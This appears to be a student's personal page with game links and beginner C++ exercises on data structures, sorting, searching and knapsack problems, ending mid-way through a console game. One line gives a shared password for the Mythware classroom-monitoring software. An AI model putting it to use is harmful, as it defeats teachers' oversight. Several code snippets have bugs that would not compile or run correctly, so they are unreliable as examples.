-
个人简介
小码王打字练习网站
https://typing.xiaomawang.com
不知名的题库网站
120.26.142.136
张洛城的个人主页
http://ac.cqxiaomawang.com:8888//user/1788
极域网通用密码
mythware_super_password
打开小恐龙
chrome://dino
https://corezwb.lanzouq.com/iAFNA01ud3qj
摸鱼人的小仓库(上面)
http://www.staggeringbeauty.com/
大虫子(上面)
https://www.ak-ioi.com/apps/oi-2048/
华容道
chrome://dino/
小恐龙
https://littlealchemy2.com/
小小炼金师(上面)
https://2048game.com/
数字组(上面)
https://dimit.me/Fe26/index_zh_CN.html
死铁(上面)
http://www.4399.com/
4399(上面)
https://www.mazegenerator.net/
迷宫(上面)
https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0
百度游戏(上面)
https://deepmess.com/namerena/
名字竞技场
ev.io
枪战游戏(上面)
https://www.crazygames.com/game/air-wars-2
飞机(上面)
https://www.crazygames.com/game/kirka-io
枪战(上面)
https://www.crazygames.com/game/ev-
枪战(上面)
游戏网站(上面)
https://www.crazygames.com/
#include<bits/stdc++.h> using namespace std; int main(){ return 0; }
#include<bits/stdc++.h> using namespace std; int len_node; struct node{ int data; node *next; }; int main(){ node *begin_,*end_; begin_=new node; begin_->next=NULL; node *access; cout<<"链表长度:";cin>>len_node; for(int i=1;i<=len_node;i++){ access=new node; cout<<"链表第"<<i<<"个元素:"; int temp;cin>>temp;cout<<endl<<"#1-"; access->data=temp;cout<<endl<<"#2-"; access->next=NULL;cout<<endl<<"#3-"; end_->next=access;cout<<endl<<"#4-"; end_=access;cout<<endl<<"#5-"; } access=begin_; int idx_node=1; while(access->next!=NULL){ cout<<"链表第"<<idx_node<<":"<<access->next->data<<endl; access=access->next; } return 0; }
变量字节数表: 字符类型:char//1字节 短整数类型:short//2字节 一般整数类型:int//4字节 长整数类型:long long//8字节 低精度浮点类型:float//4字节 高精度浮点类型:double//8字节 字符串类型:string 比较符的高低级别: 顶级: ( ) 一级: + - * / % 二级: > < = >= <= == != 三级: && || ! 赋值运算符: = += -= *= /= %=
sort(首元素,末元素,比较函数);
#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> #include<cmath> using namespace std; void Color(int a) { if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY); if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN); if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE); } int main(){ // system("color 0F"),Color(0);cout<<"■"<<endl; // system("color 1F"),Color(1);cout<<"■"<<endl; // system("color 2F"),Color(2);cout<<"■"<<endl; // system("color 3F"),Color(3);cout<<"■"<<endl; // system("color 4F"),Color(4);cout<<"■"<<endl; // system("color 5F"),Color(5);cout<<"■"<<endl; // system("color 6F"),Color(6);cout<<"■"<<endl; // system("color 7F"),Color(7);cout<<"■"<<endl; // system("color 8F"),Color(8);cout<<"■"<<endl; // system("color 9F"),Color(9);cout<<"■"<<endl; // system("color 10F"),Color(10);cout<<"■"<<endl; // system("color 11F"),Color(11);cout<<"■"<<endl; // system("color 12F"),Color(12);cout<<"■"<<endl; // system("color 13F"),Color(13);cout<<"■"<<endl; // system("color 1");Sleep(10); // system("color 2");Sleep(10); // system("color 3");Sleep(10); // system("color 4");Sleep(10); // system("color 5");Sleep(10); // system("color 6");Sleep(10); // system("color 7");Sleep(10); // system("color 8");Sleep(10); // system("color 9");Sleep(10); // system("color 4");Sleep(1000); system("color E");Sleep(1000); system("color B");Sleep(1000); system("color A");Sleep(1000); system("color ");Sleep(1000); // 0 = 黑色 8 = 灰色 // 1 = 蓝色 9 = 淡蓝色 // 2 = 绿色 A = 淡绿色 // 3 = 浅绿色 B = 淡浅绿色 // 4 = 红色 C = 淡红色 // 5 = 紫色 D = 淡紫色 // 6 = 黄色 E = 淡黄色 // 7 = 白色 F = 亮白色 return 0; }
#include<bits/stdc++.h> using namespace std; bool zhishu(int n){ int flag=1; if(n%2==0||n%3==0||n%5==0||n%7==0||n%11==0){ return false; } for(int i=2;i<n;i++){ if(n%i==0){ flag=0; } } if(flag==1){ return true; } else{ return false; } } int main(){ int n=1; for(long long i=1;i>=0;i++){ if(zhishu(i)){ cout<<"第"<<setw(10)<<n++<<"个质数:"<<setw(10)<<i<<endl; } } return 0; }
#include<cmath> #include<ctime> #include<cstdio> #include<cstdlib> #include<cstring> #include<cstdlib> #include<conio.h> #include<iomanip> #include<iostream> #include<algorithm> #include<windows.h> using namespace std; int main(){ return 0; }
T 1024 GB 1024 G 1024 MB 1024 KB 1024 Byte 8 Bit(字节) string//8 char//1 short//2 int//4 long//4 long long//8 double//8 float//4
//字符串输入输出1 #include<bits/stdc++.h> using namespace std; int main(){ //创建 char arr[11]; //(一般) cin>>arr; cout<<arr; //(速度快) scanf("%s",arr); printf("%s",arr); //(可用空格,不安全) gets(arr); //(可用空格,c) fgets(arr,11,stdin); //(可用空,c++) cin.getline(arr,11); return 0; }
//字符串输入输出2 #include<bits/stdc++.h> using namespace std; int main(){ char arr[11];//创建 cin>>arr;//(一般) cout<<arr;//(一般) scanf("%s",arr);//(速度快) printf("%s",arr);//(速度快) gets(arr);//(可用空格,不安全) fgets(arr,11,stdin);//(可用空格,c) cin.getline(arr,11);//(可用空,c++) char a1[11]="123"; char b1[11]="456"; cout<<strcpy(a1,b1);//456 cout<<a1<<endl;//456 cout<<b1<<endl;//456 char a2[11]="12345"; char b2[11]="67890"; cout<<strcat(a3,b3);//123456789 cout<<a3<<endl;//123456789 cout<<b3<<endl;//6789 char a3[11]="12345"; char b3[11]="67890"; cout<<strcmp(a3,b3)<<endl;//a>b 1 a==b 0 a<b -1 cout<<strcmp(b3,a3)<<endl;//a>b 1 a==b 0 a<b -1 char c[11]="1234567890"; cout<<serlen(c); char d[11]="1234561890"; char c[11]="0987654321"; cout<<strchr(d,'1');//1234561890 第1次出现 cout<<strrchr(d,'1');//1890 第最后次出现 cout<<strstr(d,c);//第1次出现 c if(strstr(d,c)){ cout<<"yes"<<endl; } else{ cout<<"no"<endl; } char arr[101]; int bar[101]; memset(arr,0,sizeof(arr)); memset(arr,0,sizeof(brr)); int num[101]; cout<<sizeof(num)<<endl; cout<<sizeof(string)<<endl;//8 cout<<sizeof(char)<<endl;//1 cout<<sizeof(short)<<endl;//2 cout<<sizeof(int)<<endl;//4 cout<<sizeof(long)<<endl;//4 cout<<sizeof(long long)<<endl;//8 cout<<sizeof(double)<<endl;//8 cout<<sizeof(float)<<endl;//4 string a="123456789"; string b="1234567890"; if(a>b){ cout<<"a>b"<<endl; } if(a==b){ cout<<"a=b"<<endl; } if(a<b){ cout<<"a<b"<<endl; } string a="abcdsbefg"; string b="sb"; string c=""; for(int i=1; i<=b.size();i++){ c+="*"; } // cout << a.find(b); // 寻找,返回字串所在的位置 // cout << a.length() << endl; // 长度 // cout << a.size() << endl; // 长度 //replace(); // 替换 (初始位置, 长度, 替换内容) a.replace(a.find(b), b.size(), c); return 0; }
//队列 #include<iostream> using namespace std; int queue[101]; int head=0,tail=0; void push(int num){ queue[++tail]=num; } void pop(){ head++; } int frout(){ return queue[head+1]; } int back(){ return queue[tail]; } int size(){ return tail-head; } bool empty(){ return head==tail; } int main(){ return 0; }
//栈 #include<bits/stdc++.h> using namespace std; int st[10001]; int top_d=0; void push(int x){ st[++top_d]=x; } void pop(){ top_d--; } int top(){ return st[top_d]; } bool empty(){ return top_d==0; } int main(){ return 0; }
//链表 #include<bits/stdc++.h> using namespace std; struct node{ int data; node* next; }; int main(){ node*head,*r; head=new node; head->next=NULL; node *p; for(int i=1;i<=3;i++){ p=new node; int temp; cin>>temp; p->data=temp; p->next=NULL; r->next=p; r=p; } p=head; while(p->next!=NULL){ cout<<p->next->data<<" "; p=p->next; } //删除 //p->next=p->next->next //插入 //s->next=c; //p->next=s; return 0; }
//基数排序 #include<bits/stdc++.h> using namespace std; int fun(int num,int ti){ for(int i=1;i<=ti-1;i++){ num/=10; } return num%10; } int wc(int num){ int cnt=0; while(num!=0){ num/=10; cnt++; } return cnt; } int main(){ int n; cin>>n; int ti=1; int cnt[11]={0}; int arr[101],bt[11][101]; int temp=-9999999999; for(int i=1;i<=n;i++){ cin>>arr[i]; temp=max(temp,arr[i]); } for(int o=1;o<=wc(temp);o++){ for(int i=1;i<=n;i++){ int x=fun(arr[i],ti); bt[x][++cnt[x]]=arr[i]; } int idx=0; for(int i=0;i<=9;i++){ for(int j=1;j<=cnt[i];j++){ arr[++idx]=bt[i][j]; } } ti++; cnt[11]={0}; memset(cnt,0,sizeof(cnt)); } for(int i=1;i<=n;i++){ cout<<arr[i]<<" "; } return 0; }
//桶排序 #include<bits/stdc++.h> using namespace std; int main(){ int n; cin>>n; int arr[100]; int bt[10001]={0}; for(int i=1;i<=n;i++){ cin>>arr[i]; bt[arr[i]]++; } for(int i=1;i<=n;i++){ for(int j=1;j<=arr[i];j++){ cout<<i<<" "; } } return 0; }
//计数排序 #include<bits/stdc++.h> using namespace std; int main(){ int n; cin>>n; int arr[101]; int brr[101]; int bt[10001]={0}; int minn=99999999999; int maxx=-99999999999; for(int i=1;i<=n;i++){ cin>>arr[i]; bt[arr[i]]++; maxx=max(maxx,arr[i]); minn=min(minn,arr[i]); } for(int i=minn;i<=maxx-1;i++){ bt[i+1]+=bt[i]; } for(int i=n;i>=1;i--){ brr[bt[arr[i]]--]=arr[i]; } for(int i=1;i<=n;i++){ cout<<brr[i]<<" "; } return 0; }
// ========== 基数排序 =========== #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> using namespace std; int fun(int num, int times){ // 取数 for(int i=1; i<=times-1; i++){ num /= 10; } return num%10; } int ws(int num){ // 求出数字有几位 int count=0; while(num!=0){ num /= 10; count++; } return count; } int main(){ int arr[20]; int bucket[10][20]; int times=1; //轮次 int count[10]={0}; // 每个桶里有几个数 int temp=0; // 最大值 int n; cin >> n; for(int i=1; i<=n; i++){ cin >> arr[i]; temp = max(temp, arr[i]); // 找最大值,求最多有多少位 } for(int o=1; o<=ws(temp); o++){ for(int i=1; i<=n; i++){ // 每轮取数 int x = fun(arr[i], times); //提取出来的这一位 bucket[x][++count[x]] = arr[i]; // 放入对应桶中 } int idx=0; for(int i=0; i<=9; i++){ for(int j=1; j<=count[i]; j++){ // 每个桶有几个数就循环几次 arr[++idx] = bucket[i][j]; } } times++; memset(count, 0, sizeof(count)); } for(int i=1; i<=n; i++){ cout << arr[i] << " "; } return 0; }
// ========== 计数排序 =========== #include<iostream> #include<cstdio> #include<cstring> #include<algorithm> using namespace std; int main(){ // 看这个数前面有几个数是小于他的 int arr[100], max=0, min=1001; // 数字的范围是1~1000 int brr[100]; int bucket[1001]={0}; int n; cin >> n; for(int i=1; i<=n; i++){ cin >> arr[i]; bucket[arr[i]]++; // 放入桶中 if(arr[i]>max) max=arr[i]; if(arr[i]<min) min=arr[i]; } // 算前缀和 (统计这个数字排在第几位) for(int i=min; i<=max-1; i++){ bucket[i+1] += bucket[i]; } for(int i=n; i>=1; i--){ // arr[i]代表数字 bucket[arr[i]] 代表位置 brr[bucket[arr[i]]] = arr[i]; bucket[arr[i]]--; } for(int i=1; i<=n; i++){ cout << brr[i] << " "; } return 0; }
#include<bits/stdc++.h> using namespace std; void msort(int arr[],int left,int right){ if(left==right){ return; } int mid=(left+right)/2; cout<<"["; for(int i=left;i<=mid;i++){ cout<<arr[i]; } cout<<"],["; for(int i=mid+1;i<=right;i++){ cout<<arr[i]; } cout<<"]"<<endl; msort(arr,left,mid); msort(arr,mid+1,right); } int main(){ int n; cin>>n; int arr[10001]; for(int i=1;i<=n;i++){ cin>>arr[i]; } msort(arr,1,n); }
//分解 #include<bits/stdc++.h> using namespace std; void msort(int arr[],int left,int right){//二分分解 if(left==right)return;//边界 int mid=(left+right)/2;//中间 cout<<"["; for(int i=left;i<=mid;i++){//左边 cout<<arr[i]; } cout<<"],["; for(int i=mid+1;i<=right;i++){//右边 cout<<arr[i]; } cout<<"]"<<endl; msort(arr,left,mid);//分解左边 msort(arr,mid+1,right);//分解右边 } int main(){ int n; cin>>n; int arr[10001]; for(int i=1;i<=n;i++){ cin>>arr[i]; } msort(arr,1,n); }
#include<iostream> #include<cstdio> #include<cmath> #include<iomanip> #include<cstdlib> #include<algorithm> #include<cstring> #include<cstdio> #include<windows.h> #include<cstdlib> #include<ctime> #include<conio.h> using namespace std; int main(){ char maze[18][24]= {"************** ********", "* * * *", "* ************ * ** * *", "* * **** * *", "* ********** * * * *", "* ** * * ******", "* ** ***** ***** * ** *", "* * * *", "****** * ********** *", "* * * * * $ *", "* **** * * ****** *****", "* * * * * * * *", "* * ****** * ** * * * *", "* * * ** * * * *", "* ********** ** * *", "* * *", "*************** *******", "***********************"}; srand(time(0)); int x=rand()%18,y=rand()%22; while(maze[x][y]!=' '){ x=rand()%18; y=rand()%22; } maze[x][y]='o'; char fx; int flag=0; int cnt=0; while(true){ system("cls"); for(int a=0;a<=17;a++){ for(int b=0;b<=23;b++){ cout<<maze[a][b]<<" "; } cout<<endl; } fx=getch(); cnt+=1; if(fx!='q'&&fx!='z'&&fx!='x'){ if(fx=='w'&&maze[x-1][y]!='*'){ maze[x][y]=' '; x--; maze[x][y]='o'; } if(fx=='s'&&maze[x+1][y]!='*'){ maze[x][y]=' '; x++; maze[x][y]='o'; } if(fx=='a'&&maze[x][y-1]!='*'){ maze[x][y]=' '; y--; maze[x][y]='o'; } if(fx=='d'&&maze[x][y+1]!='*'){ maze[x][y]=' '; y++; maze[x][y]='o'; } if(x==9&&y==20&&flag==0){ MessageBox(0,"你捡到宝箱了","提示",MB_OK); flag=1; } if(x==0&&y==14&&flag==1){ char cntlist[1000]; string s; s="你出去了"; itoa(cnt,cntlist,10); s+=cntlist; MessageBox(0,s.c_str(),"提示",MB_OK); } else if(x==0&&y==14&&flag==0){ x+=1; MessageBox(0,"你没捡到宝箱","提示",MB_OK); } } else if(fx=='z'){ if(maze[x-1][y]!='$'&&maze[x+1][y]!='$'&&maze[x][y-1]!='$'&&maze [x][y+1]!='$'){ maze[x-1][y]=' '; maze[x+1][y]=' '; maze[x][y-1]=' '; maze[x][y+1]=' '; } } else if(fx=='x'){ if(maze[x-1][y]!='$'&&maze[x+1][y]!='$'&&maze[x][y-1]!='$'&&maze[x][y+1]!='$ '&&maze[x-2][y]!='$'&&maze[x+2][y]!='$'&&maze[x][y-2]!='$'&&maze[x][y+2]!='$'&&m aze[x-1][y-1]!='$'&&maze[x-1][y+1]!='$'&&maze[x+1][y-1]!='$'&&maze[x+1][y-1]!= '$'){ maze[x-1][y]=' '; maze[x+1][y]=' '; maze[x][y-1]=' '; maze[x][y+1]=' '; maze[x-2][y]=' '; maze[x+2][y]=' '; maze[x][y-2]=' '; maze[x][y+2]=' '; maze[x-1][y-1]=' '; maze[x-1][y+1]=' '; maze[x+1][y-1]=' '; maze[x+1][y-1]=' '; } } else{ fx=getch(); if(fx=='w'){ maze[x][y]=' '; x--; maze[x][y]='o'; } if(fx=='s'){ maze[x][y]=' '; x++; maze[x][y]='o'; } if(fx=='a'){ maze[x][y]=' '; y--; maze[x][y]='o'; } if(fx=='d'){ maze[x][y]=' '; y++; maze[x][y]='o'; } } } return 0; } /* 1.系统图标 错误 MB_ICONHAND, MB_ICONSTOP, MB_ICONERROR 询问 MB_ICONQUESTION 警告 MB_ICONEXCLAMATION ,MB_ICONWARNING 信息 MB_ICONASTERISK , MB_ICONINFORMATION 2. 按钮信息 MB_OK 一个确定按钮 MB_OKCANCEL 一个确定按钮,一个取消按钮 MB_ABORTRETRYIGNORE 一个异常终止按钮,一个重试按钮,一个忽略按钮 MB_YESNOCANCEL 一个是按钮,一个否按钮,一个取消按钮 MB_YESNO 一个是钮,一个否按钮 MB_RETRYCANCEL 一个重试按钮,一个取消按钮 */
代码存储仓库:
//广度优先搜索(DFS)(冰法师)
#include<bits/stdc++.h> using namespace std; int n,m; char arr[101][101]; bool flag[101][101]; int step[101][101]; int tx[4]={-1,1,0,0}; int ty[4]={0,0,1,-1}; struct pos{ int x,y; }ks,js; void bfs(){ queue<pos> q; q.push(ks); step[ks.x][ks.y]=0; while(!q.empty()){ pos temp=q.front(); for(int i=0;i<=3;i++){ int nx=temp.x+tx[i]; int ny=temp.y+ty[i]; if(arr[nx][ny]!='#'&&flag[nx][ny]==0){ if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ flag[nx][ny]=1; pos newpos; newpos.x=nx; newpos.y=ny; q.push(newpos); step[nx][ny]=step[temp.x][temp.y]+1; if(nx==js.x&&ny==js.y){ return; } } } } q.pop(); } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ cin>>arr[i][j]; if(arr[i][j]=='S'){ ks.x=i; ks.y=j; } if(arr[i][j]=='E'){ js.x=i; js.y=j; } } } bfs(); cout<<step[js.x][js.y]<<endl; return 0; }
//深度优先搜索(DFS)(大法师)
#include<bits/stdc++.h> using namespace std; struct pos{int x,y;}ks,js; int tx[4]={0,1,0,-1}; int ty[4]={1,0,-1,0}; int n,num[101][101]; bool flag[101][101],cnt; void dfs(pos temp){ flag[temp.x][temp.y]=true; if(temp.x==js.x&&temp.y==js.y){ cnt=true; return; } for(int i=0;i<=3;i++){ int nx=tx[i]+temp.x; int ny=ty[i]+temp.y; if(nx>=1&&nx<=n&&ny>=1&&ny<=n){ if(num[nx][ny]==0&&flag[nx][ny]==false){ pos newpos; newpos.x=nx; newpos.y=ny; dfs(newpos); } } } } int main(){ cin>>n; for(int i=1;i<=n;i++){ for(int j=1;j<=n;j++){ cin>>num[i][j]; } } cin>>ks.x>>ks.y; cin>>js.x>>js.y; dfs(ks); if(cnt)cout<<"YES"<<endl; else cout<<"NO"<<endl; return 0; }
#include<bits/stdc++.h> using namespace std; struct pos{int x,y;}; bool flag[101][101]; int n,m,cnt,num[101][101]; int tx[8]={0,0,1,-1,1,1,-1,-1}; int ty[8]={1,-1,0,0,-1,1,1,-1}; void dfs(pos temp){ num[temp.x][temp.y]=0; flag[temp.x][temp.y]=true; for(int i=0;i<=7;i++){ int nx=tx[i]+temp.x; int ny=ty[i]+temp.y; if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ if(num[nx][ny]==1&&flag[nx][ny]==false){ pos newpos; newpos.x=nx; newpos.y=ny; dfs(newpos); } } } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ char temp; cin>>temp; if(temp=='.'){ num[i][j]=0; } else{ num[i][j]=1; } } } for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ if(num[i][j]==1){ cnt++; pos newpos; newpos.x=i; newpos.y=j; dfs(newpos); } } } cout<<cnt<<endl; return 0; } /* 10 12 W........WW. .WWW.....WWW ....WW...WW. .........WW. .........W.. ..W......W.. .W.W.....WW. W.W.W.....W. .W.W......W. ..W.......W. */
#include<bits/stdc++.h> using namespace std; //调参器 //以下 char qidian=''; //起点 char zhongdian=''; //终点 char zhangai=''; //障碍 //以上 char arr[101][101]; bool flag[101][101]; int step[101][101]; int n,tx[4]={-1,1,0,0}; int m,ty[4]={0,0,1,-1}; struct pos{ int x,y; }ks,js; void bfs(){ queue q; q.push(ks); step[ks.x][ks.y]=0; while(!q.empty()){ pos temp=q.front(); for(int i=0;i<=3;i++){ int nx=temp.x+tx[i]; int ny=temp.y+ty[i]; if(arr[nx][ny]!=zhangai&&flag[nx][ny]0){ if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ flag[nx][ny]=1; pos newpos; newpos.x=nx; newpos.y=ny; q.push(newpos); step[nx][ny]=step[temp.x][temp.y]+1; if(nxjs.x&&ny==js.y){ return; } } } } q.pop(); } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ cin>>arr[i][j]; if(arr[i][j]==qidian){ ks.x=i; ks.y=j; } if(arr[i][j]==zhongdian){ js.x=i; js.y=j; } } } bfs(); cout<<step[js.x][js.y]<<endl; return 0; }
#include<bits/stdc++.h> using namespace std; char qidian=''; char zhongdian=''; char zhangai=''; char arr[101][101]; bool flag[101][101]; int step[101][101]; int n,tx[4]={-1,1,0,0}; int m,ty[4]={0,0,1,-1}; struct pos{ int x,y; }ks,js; void bfs(){ queue<pos> q; q.push(ks); step[ks.x][ks.y]=0; while(!q.empty()){ pos temp=q.front(); for(int i=0;i<=3;i++){ int nx=temp.x+tx[i]; int ny=temp.y+ty[i]; if(arr[nx][ny]!=zhangai&&flag[nx][ny]==0){ if(nx>=1&&nx<=n&&ny>=1&&ny<=m){ flag[nx][ny]=1; pos newpos; newpos.x=nx; newpos.y=ny; q.push(newpos); step[nx][ny]=step[temp.x][temp.y]+1; if(nx==js.x&&ny==js.y){ return; } } } } q.pop(); } } int main(){ cin>>n>>m; for(int i=1;i<=n;i++){ for(int j=1;j<=m;j++){ cin>>arr[i][j]; if(arr[i][j]==qidian){ ks.x=i; ks.y=j; } if(arr[i][j]==zhongdian){ js.x=i; js.y=j; } } } bfs(); cout<<step[js.x][js.y]<<endl; return 0; }
//01背包
#include<bits/stdc++.h> using namespace std; int n,total; int dp[101][1001]; int jz[101],sj[101]; int main(){ cin>>total>>n; for(int i=1;i<=n;i++){ cin>>sj[i]>>jz[i]; } for(int i=1;i<=n;i++){ for(int j=1;j<=total;j++){ if(sj[i]<=j){ dp[i][j]=max(dp[i-1][j],dp[i-1][j-sj[i]]+jz[i]); } else{ dp[i][j]=dp[i-1][j]; } } } cout<<dp[n][total]<<endl; return 0; }
//完全背包
#include<bits/stdc++.h> using namespace std; int n,total; int dp[101][1001]; int jz[101],sj[101]; int main(){ cin>>total>>n; for(int i=1;i<=n;i++){ cin>>sj[i]>>jz[i]; } for(int i=1;i<=n;i++){ for(int j=1;j<=total;j++){ if(sj[i]<=j){ dp[i][j]=max(dp[i-1][j],dp[i][j-sj[i]]+jz[i]); } else{ dp[i][j]=dp[i-1][j]; } } } cout<<dp[n][total]<<endl; return 0; }
//多重背包
#include<bits/stdc++.h> using namespace std; int n,total,dp[101][1001]; int number[101],weight[101],value[101]; int main(){ cin>>n>>total; for(int i=1;i<=n;i++){ cin>>weight[i]>>value[i]>>number[i]; } for(int i=1;i<=n;i++){ for(int j=1;j<=total;j++){ for(int k=1;k<=number[i];k++){ if(j>=weight[i]*k){ dp[i][j]=max(max(dp[i][j],dp[i-1][j]),dp[i-1][j-weight[i]*k]+value[i]*k); } } } } cout<<dp[n][total]<<endl; return 0; }
#include<bits/stdc++.h> #include<windows.h> #include<stdio.h> #include<conio.h> #include<time.h> #include<cmath> #define KEY_DOWN(VK_NONAME)((GetAsyncKeyState(VK_NONAME)&0x8000)?1:0) using namespace std; int m[35][35],n[35][35]; void Color(int a) { if(a==0) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==1) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE); if(a==2) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN); if(a==3) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_BLUE); if(a==4) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED); if(a==5) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN); if(a==6) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_BLUE); if(a==7) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN);//木 if(a==8) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_GREEN|FOREGROUND_BLUE);//铁 if(a==9) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY); if(a==10) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==11) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_RED|FOREGROUND_BLUE|BACKGROUND_GREEN); if(a==12) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_RED|FOREGROUND_GREEN|BACKGROUND_GREEN); if(a==13) SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),FOREGROUND_INTENSITY|FOREGROUND_GREEN|FOREGROUND_BLUE|BACKGROUND_INTENSITY|BACKGROUND_BLUE); } void SetPos(int x,int y) { COORD pos; pos.X=y*2,pos.Y=x+3; SetConsoleCursorPosition(GetStdHandle(STD_OUTPUT_HANDLE),pos); } int X,Y,gx,gy,gunT,gunZ,T,G[10],F[30]; int Win,Lev,Blood,Dun,Bmax,Dmax,WuDi,Gguai,Bo,Boo,sy,bu; int Bx,By,Bblood,Bsi,Bjiao,Bdu,Bfang,Bxz,Byz; void Map(int x); void Jian(int x) { if(WuDi>0) return; if(Dun>x) Dun-=x; else if(Dun<=0) Blood-=x; else if(Dun>0&&Dun<=x) { if(F[13]==0) Blood-=x-Dun; if(F[13]==1) WuDi=20; if(F[17]==1) Boo=3; Dun=-1; } } bool CanGo(int x,int y,int q) //0为自己 1其他 2激光怪 3激光枪 4子弹怪 5爆毒 6子弹 7 BOSS { if(abs(Bx-x)<=1&&abs(By-y)<=1&&q==1) return 0; if(m[x][y]==2||m[x][y]==3) return 0; if((q==0||q==1)&&n[x][y]==1) return 0; if(m[x][y]==0) return 1; if(m[x][y]>=4&&m[x][y]<=8) return 1; if(m[x][y]>=84&&m[x][y]<=88) return 1; if(m[x][y]>=9&&m[x][y]<=31) return 1; if(m[x][y]>=59&&m[x][y]<=81) return 1; if((q==2||q==3||q==5)&&m[x][y]==1) return 1; if((q==2||q==3)&&m[x][y]>=100&&m[x][y]<250) return 1; if((q==0||q==3||q==5)&&m[x][y]>=50&&m[x][y]<55) return 1; if((q==4||q==7)&&m[x][y]/100==1) return 1; return 0; } void CoutMe() { if(gx<0&&CanGo(X-1,Y,0)) X--;if(gx>0&&CanGo(X+1,Y,0)) X++;if(gy<0&&CanGo(X,Y-1,0)) Y--;if(gy>0&&CanGo(X,Y+1,0)) Y++; int r;Color(0);if(WuDi>0) r=rand()%5+1,Color(r); if(gunT!=1) SetPos(X-1,Y),cout<<"︹";if(gunT!=5) SetPos(X+1,Y),cout<<"︺";if(gunT!=7) SetPos(X,Y-1),cout<<"﹝";if(gunT!=3) SetPos(X,Y+1),cout<<"﹞"; if(gunT==1) SetPos(X-1,Y),cout<<"↑";if(gunT==2) SetPos(X-1,Y+1),cout<<"↗";if(gunT==3) SetPos(X,Y+1), cout<<"→";if(gunT==4) SetPos(X+1,Y+1),cout<<"↘"; if(gunT==5) SetPos(X+1,Y),cout<<"↓";if(gunT==6) SetPos(X+1,Y-1),cout<<"↙";if(gunT==7) SetPos(X,Y-1), cout<<"←";if(gunT==8) SetPos(X-1,Y-1),cout<<"↖"; SetPos(X,Y),cout<<"●";Color(0); if(WuDi>0) Map(4); if(m[X][Y]>=50&&m[X][Y]<55) Jian(5),system("color 4F"),Sleep(30),system("color 0F"),Map(4); if(m[X][Y]>=4&&m[X][Y]<=7&&F[12]==0) Jian(3),system("color 